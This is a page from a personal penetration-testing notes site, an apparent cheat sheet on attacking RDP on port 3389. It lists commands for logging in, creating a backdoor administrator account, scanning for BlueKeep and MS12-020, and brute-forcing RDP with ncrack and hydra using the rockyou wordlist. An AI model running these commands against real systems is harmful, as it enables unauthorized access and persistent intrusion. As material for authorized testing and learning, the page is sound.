Security Notes
  • Whoami
  • Pentesting
    • WEP-Pen
      • Reconnaissance
      • Enumeration
      • OWSAP TOP 10
        • Injection
          • Cross Site Scripting
            • Cross Site Scripting
            • Exploitation
            • Protections
          • SQL Injection
            • SQL Injection Overview
          • NoSQL Injection
          • CRLF Injection
          • XML Injection
        • Broken Access Control
          • Path Traversal
          • Sensitive Cookie with Improper SameSite Attribute
          • Link Following
          • Incorrect Default Permissions
          • Information disclosure
          • CSRF
            • csrf checklist
          • 403 bypass
          • Exposure of WSDL File Containing Sensitive Information
          • bussiness logic checklist
          • 2FA bypass checklist
          • admin panal checklist
          • idor checklist
          • Authentication checklist
          • reset_password_checklist
          • ATO
        • Cryptographic Failures
          • Cryptographic Failure
          • Weak Encoding for Password
          • Improper Following of a Certificate's Chain of Trust
            • Understanding Digital Certificates : Self-Signed and CA-Signed Certificate **
            • Transport Layer Security (TLS) and SSL **
          • Clear Text Transmission Of Sensitive Data
            • SSLStripping **
        • Insecure Design
        • Security Misconfiguration
          • CORS Miscofigration
          • Mail Server Misconfiguration
        • Vulnerable and Outdated Components
          • Using Components with Known Vulnerabilities
        • Identification and Authentication Failures
          • JWT Hacking
          • SAML Authentication bypass
        • Software and Data Integrity Failures
          • mass assignment
          • PostMessage Vulnerabilities
            • PostMessage Vulnerabilities
            • Blocking main page to steal postmessage
            • Bypassing SOP with Iframes - part 1
            • Bypassing SOP with Iframes - part 2
            • Steal postmessage modifying iframe location
        • Security Logging and Monitoring Failures
        • Server-Side Request Forgery (SSRF)
          • SSRF
      • Checklists
        • aem misconfiguration
        • exif_geo
        • xss
        • Session Management
        • Authorization
        • cookie
        • Django
        • Symfony
        • json
        • bypass rate limit
        • Rce
        • Register Page
      • eWPTXv2 Preparation
        • Encoding & Filtering
        • Evasion Basics
        • Cross-site scripting (XSS)
        • XSS Filter Evasion
        • Cross-site request forgery (CSRF
        • HTML5
      • API-Pen
        • API Discovry
        • Reverse Engineering API Documentation
        • Excessive Data Exposure
        • Vulnerability Scanning
        • API Authentication Attacks
          • Classic Authentication Attacks
          • API Token Attacks
        • API Authorization Attacks
          • Broken Object Level Authorization (BOLA)
          • Broken Function Level Authorization
        • Improper Assets Management
        • Mass Assignment
        • SSRF
        • Injection Attacks in API
        • Evasive Maneuvers
        • GraphQL Vulnerabilities
    • NET-Pen
      • Active Directory Pentesting
        • Active Directory Components
        • Initial Attack Vectors
          • LLMNR Poisoning
          • SMB Relay Attacks
          • IPv6 Attacks ( IPv6 DNS Takeover )
          • Printer Hacking
          • Methodology
          • Some Other Attacks
            • Zerologon (CVE-2020-1472)
            • PrintNightmare (CVE-2021-1675)
        • Post-Compromise Attacks
          • Pass Attacks
          • Kerberoasting Attack
          • Token Impersonation Attack
          • LNK File Attack
          • GPP / cPassword Attacks
          • Mimikatz
          • Methodology
        • We've Compromised the Domain
          • Dumping the NTDS.dit
          • Golden Ticket Attacks
          • Methodology
        • Case Study
        • Password Attacks
      • Attack Vectors by Port
        • FTP 21
        • SSH 22
        • Telnet 23 - 2323
        • SMTP 25
        • DNS 53
        • Kerberos 88
        • POP 110-995
        • RPC 111
        • Ident 113
        • NNTP 119
        • NetBIOS 137-138
        • SMB / Samba 135-139, 445
        • MSRPC 135
        • SNMP 161
        • LDAP 389,636
        • Modbus 502
        • OpenSSL 1337
        • Ms-SQL 1433
        • Oracle Listener 1521 1522 1529
        • NFS 2049
        • MySql 3306
        • RDP 3389
        • ADB Android Debug Bridge 5555
        • WinRM 5985 5986
        • VNC 5800 5900
        • Redis 6379
        • Unreal IRC 6667
        • Tomcat 8080
        • MongoDB 27017
        • http 80
      • Network basics
      • Information Gathering
      • Privilege Escalation
        • Windows Privilege Escalation
        • Linux Privilege Escalation
    • write-ups
      • How i found a Privilege Escalation via Impersonation Features feature
      • How I was able to discover ATO Via IDOR vulnerability
      • Easy full Account Takeover via Facebook OAuth Misconfiguration
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On this page
  • 1. RDP Login:
  • 2. Add a User and Grant Privileges:
  • 3. RDP Vulnerability Scanning (BlueKeep):
  1. Pentesting
  2. NET-Pen
  3. Attack Vectors by Port

RDP 3389

1. RDP Login:

To login to a remote machine using RDP:

  • Using rdesktop (for older systems):

    rdesktop -u DISCO 10.11.1.13
  • Using xfreerdp (more modern, cross-platform):

    xfreerdp /u:admin /v:10.10.10.10 + clipboard

2. Add a User and Grant Privileges:

  • Create a User:

    net user redcliff password123 /add
  • Add the User to Administrator Group:

    net localgroup Administrators redcliff /add
  • Add the User to Remote Desktop Users Group:

    net localgroup "Remote Desktop Users" redcliff /ADD

3. RDP Vulnerability Scanning (BlueKeep):

  • Clone rdpscan Repository and run a scan:

    sudo git clone https://github.com/robertdavidgraham/rdpscan.git
    ./rdpscan 10.10.10.10
  • Scan for BlueKeep Vulnerability Using Metasploit: First, perform an Nmap scan to identify live RDP targets:

    nmap -p3389 -T5 <subnet>/24 -oG - | awk '/Up$/{print $2}' > rdp.lst

    Then use Metasploit to run the BlueKeep scanner:

    msfconsole
    > use auxiliary/scanner/rdp/cve_2019_0708_bluekeep
    > set RHOSTS file:<path to rdp.lst>
    > run

4. Brute-Forcing RDP:

  • Brute-force RDP with ncrack:

    ncrack -vv --user DISCO -P passwords.txt rdp://10.11.1.1
    sudo ncrack -vv --user peter -P /usr/share/wordlists/rockyou.txt rdp://10.11.1.11:3389
  • Brute-force RDP with hydra:

    hydra -V -f -L DISCO.txt -P passwords.txt rdp://10.11.1.13

5. Nmap RDP Enumeration Scripts:

  • RDP Service Enumeration:

    nmap --script "rdp-enum-encryption or rdp-vuln-ms12-020 or rdp-ntlm-info" -p 3389 -T4 10.11.1.1
  • Check for MS12-020 Vulnerability:

    nmap -sV -Pn --script=rdp-vuln-ms12-020 -p 3389 10.11.1.11

6. Microsoft Terminal Services (MS-WBT-SERVER):

You can identify the MS Terminal Services (RDP) version and potential vulnerabilities using Nmap:

  • Scan for RDP Vulnerabilities (MS-WBT-SERVER):

    nmap -sV -Pn --script=rdp-vuln-ms12-020 -p 3389 10.11.1.11
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Last updated 5 months ago

BlueKeep (CVE-2019-0708)